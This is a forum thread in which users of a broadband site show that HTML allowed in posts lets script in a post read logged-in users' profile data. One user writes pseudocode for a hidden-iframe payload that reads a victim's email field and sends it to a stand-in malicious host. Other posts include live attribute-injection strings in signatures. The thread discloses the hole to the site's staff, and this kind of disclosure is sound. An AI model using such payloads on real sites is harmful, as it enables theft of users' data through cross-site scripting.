how-to block ads
|
Sarick
It's Only Logical
Premium
join:2003-06-03
USA | reply to Buddel3
Re: DSLreports Clicking a link in forums?
If you can see it isn't it possible that the link that loads your data offloads it to the attacker? | |
nil
Java Geek
join:2000-11-27 | Actually, no, because JavaScript is client side. | |
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| Here's the thing, nil;
Javascript has 'permission' to access all the data on the web page it loads up... Say there's Javascript on this posting page I'm looking at now.. it has 'permission' to check this posting box and, say, make sure there's content in it at all, and pop up an 'alert' if I try to submit it without content (it DOESN'T, but I'm saying, Javascript COULD do that)
Basically, Javascript on THIS PAGE has access to ALL the information on this page, including the information I type into this box.. or information that was loaded on the box to begin with... such as the box that shows your 'e-mail' when viewing your account information.
You're with me so far, yes?
Now follow me a little further here: Javascript ALSO has permission to access form data on 'frames' or other elements that IT LOADS itself, from the same domain. For example, if there was a frameset page for this.. the frameset page used Javascript to load a page in each of two frames. Assuming your Javascript knows the form names of anything on either of the two frames, it would be able to access THAT information, too - because IT forced the loading of those pages, and those pages are on the same domain. I'm actually not sure that the first requirement is neccesary, in fact... and I hope like heck that the second one is... but I DO know that Javascript is perfectly capable of accessing the FORMS data that is currently in any text box, select, checkbox, etc, that is displayed in the same browser window as it, if the 'other pages' in the browser window are from the same domain.
Now, so far, all of this is OK; there's no specific 'vulnerability' in any of this really - provided you trust a certain website... certainly you wouldn't mind a certain website knowing information that it already knows.. hehe.
However... here's the problem: Because people can type text, HTML, and therefore Javascript into this website, this website essentially has the whole public world as a potential 'Web designer'. Right now, I am authoring a page on BroadbandReports.com; Anything I type into this box right here gets displayed with the same 'permissions' as though it were the original designer of this whole website doing it.
I have to do this in 'pseudo code', because I don't recall the exact names and such to do this, but I know this is how it would be done.. ALL of this could be done in the SRC="" attribute of an Image tag, for example... meaning it could all happen automatically on opening of a post. Note that everything I'm posting here is stuff that Javascript CAN do... also remember that Javascript has ALL the 'permission' it needs to do this, because as far as the browser is concerned, the code it's reading was written by the web designer of Broadbandreports.com; the browser has NO way of knowing that the script it's encountered was written by some anonymous bloke!
First; the code would create an 'Iframe' somewhere on the page - most likely somewhere hidden, or so small that it wouldn't be seen at all.
Second; it would load the victim's broadbandreports.com account page in that iframe. Load up: http://www.broadbandreports.com/prof right now... no matter WHO you are, if you are logged in, that page will show your information. In this particular case, your e-mail address is the most 'sensitive' piece of info displayed there. Lukcily, it seems that your PASSWORD is NOT displayed on that page, even 'hidden' in the HTML (hidden in such a way would NOT be hidden at all from this exploit)
Next, that very same Javascript contained in that IMG SRC="" thing would next access the frame through the standard collections that hold every frame, iframe, etc that is contained in a window.. it could probably do it by name, because the script could have named the iframe itself when it created it.
Next, once it's using the proper object to get to that Iframe, it then would need to find either the form name, or the form index of the form that contains all that info. That form happens to be un-named, but it can be found be referring to the forms() collection of the document object... someone could "View Source" on that page just once to figure out which Index it would have. Even if it changed, code could be put in which would simply find the right one..
Because then, all once you have the document (frame) and form, you just need to know the name of the form element you want. In this case, the form element in question is named, predictably, "email".
All the above would work in one line, though.. something like:
DummyVariable = window.CreatedIFrame.Forms(1).email;
and then all we need is:
CreatedIFrame.URL = ("www.maliciouswebsite.com/capture.php?cap=" + DummyVariable);
================================================
I'm REALLY rusty on the particulars; I don't know the proper names and arguments to use here, but I KNOW these things can be done. Let me take a wild stab at this, and someone who knows better about Javascript can verify the concept anyway - my suggestion would be that at this stage, NOT to provide the exact code, however... that would be akin to handing someone the whole process - which we're nearly doing anyway.
Of course, for anyone thinking of possibly exploiting such a thing right now, I should add this information, before I continue:
1-The only 'personal' information you can really get is someone's e-mail address. Passwords are NEVER sent to the web browser in any form, and NO ONE has shown ANY method at all for COOKIES to actually be gotten at all by this method - I DO maintain that I do not believe that can be done. What I'm about to post can't remotely be used to do such a thing.
2-Un-registered users cannot put HTML in posts at all. To my knowledge, that leaves them with no way to do this. Which means...
3-People who do this will leave a 'trail' back to themselves by way of a valid e-mail address. But wait, there's more!
4-This also requires that the person in question have a web server to which to direct the traffic, and the nature of this traffic would be such that it would be easy for an ISP to verify the malicious nature of what's going on.
5-In short, it's a lot of 'trouble' to possibly get into, for information that's not particularly all that great.
==================================================
So, onto my 'bad code' to do this. Note that everything I'm about to type would ALL go within one IMG SRC=""... right between the quotes. For those not familiar, the semicolons; indicate the end of a line of code; That's one reason this can be done.
One further thing... to make things MUCH easier for me, every time you see { or } below, assume I really mean the greater than/less than signs.. if I just type them, they'll be converted to actual HTML, and you won't get to see hat I'm typing.. and I'm too lazy to actually type the > stuff! hehe
Again, also, note that I'm not familiar with the Iframe HTML or EXACTLY how Javascript handles locating and identifying frames and IFrames.. so I am almost certainly mangling the syntax here... I'm just giving a rough idea how it might be done.
document.write ('{iframe xpos=-3455 ypos=-999 width=2 height=2 URL=That-profile-page-link-I-showed name=CreatedIFrame}');DummyVar=window.CreatedIFrame.form(1).email;CreatedIFrame.URL=('www. malicioussite.com/gather.php?info=' + DummyVariable);
And that's pretty much it. | |
Marilla
I Am My Own Arbiter
Premium
join:2002-12-06
Belpre, OH
| reply to Sarick
Possible Mitigating Factors:
I see that the profile form has "type=hidden" set on it. To my knowledge, that's not something typicaly used on the FORM ITSELF.. usually it's used on elements that you want to store information on to be re-submitted to the website but that you don't want the user to be able to change... I'm wondering if, perhaps, putting this attribute on the FORM tag itself hides the form from, say, Javascript? I *don't* believe that to be the case, however, because I believe that form elements of type=hidden are perfectly 'seeable' by Javascript, as well... they simply don't get displayed on the page itself... I can't imagine a use for that attribute, but if it really does that, perhaps that helps.
Second, as I noted, it does not appear as though your password is sent to that web page anywhere at all, so it cannot be used to actually access your account by 'stealing' your password. | |
bobince
join:2002-04-19
DE
| reply to Sarick
Marilla's right. Once you let untrusted JavaScript onto your site, you have lost.
If you want an exploit that actually *does* steal the e-mail address rather than just alert() it, I'd suggest making somewhere hidden to post it.
It can of course be done without creating a new window, too - that was just the quickest way I could think of to demonstrate.
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/ | |
bobince
join:2002-04-19
DE
| reply to Sarick
Here's another demo for you:
»/forum/remark,···ode=flat
Are you satisfied yet?
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/ | |
nil
Java Geek
join:2000-11-27
Host:
Webmasters and Dev..
Forum Feature Requ..
| Okay, you've made your point 
(Of course, I blame IE, netscape/mozilla know better than to execute that)..
We'll work on removing javascript altogether though.
--
Life is too short to be boring | |
dp
Go Steelers
Premium,MVM
join:2000-12-08
Greensburg, PA
 ·Verizon Online DSL
| said by nil  :
Okay, you've made your point
(Of course, I blame IE, netscape/mozilla know better than to execute that)..
We'll work on removing javascript altogether though.
IE is the devil.
--
Write your questions down on the back of a $20 dollar bill and send them to me | |
Sarick
It's Only Logical
Premium
join:2003-06-03
USA |  reply to Sarick
Ok it seems to have been confermed. :|
WTG guys.
Nil it looks like your contest to prove the vulnerabilty was a success. No grins here :|
Are there plans to make changes that block Java inside the fourm? | |
Sarick
It's Only Logical
Premium
join:2003-06-03
USA
·FrontierNet Intern..
|  reply to Sarick
I would like to thank everyone who took part in this topic my thanks to everyone who added to the topic and helped it's success.
This was an educating experience I won't soon forget. | |
bobince
join:2002-04-19
DE
| reply to nil
(Of course, I blame IE, netscape/mozilla know better than to execute that). Actually the second example does work on Mozilla (1.1 at least).
Mozilla doesn't load javascript: URLs in image elements, which is indeed much more sensible than IE. But there are many other strategies for script injection.
We'll work on removing javascript altogether though. Let me know if you need a hand, or want some testing. As a webapp author I've been collecting various script injection attacks!
--
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/"onmouseover="al···ello!');
 | |
jdong
Eat A Beaver, Save A Tree.
Premium
join:2002-07-09
Rochester, MI
clubs:  
| quote:
Andrew Clover
mailto:and@doxdesk.com
»www.doxdesk.com/"onmouseover="al···ello!');
LOL
»www.doxdesk.com/"onmouseover="wi···opup!');
Less harmful version, since popup blockers usually stop this one...
You guys, STOP MAKING ME HOLD DOWN CTRL! LOL
--
---This area is intentionally left blank.--- | |
|
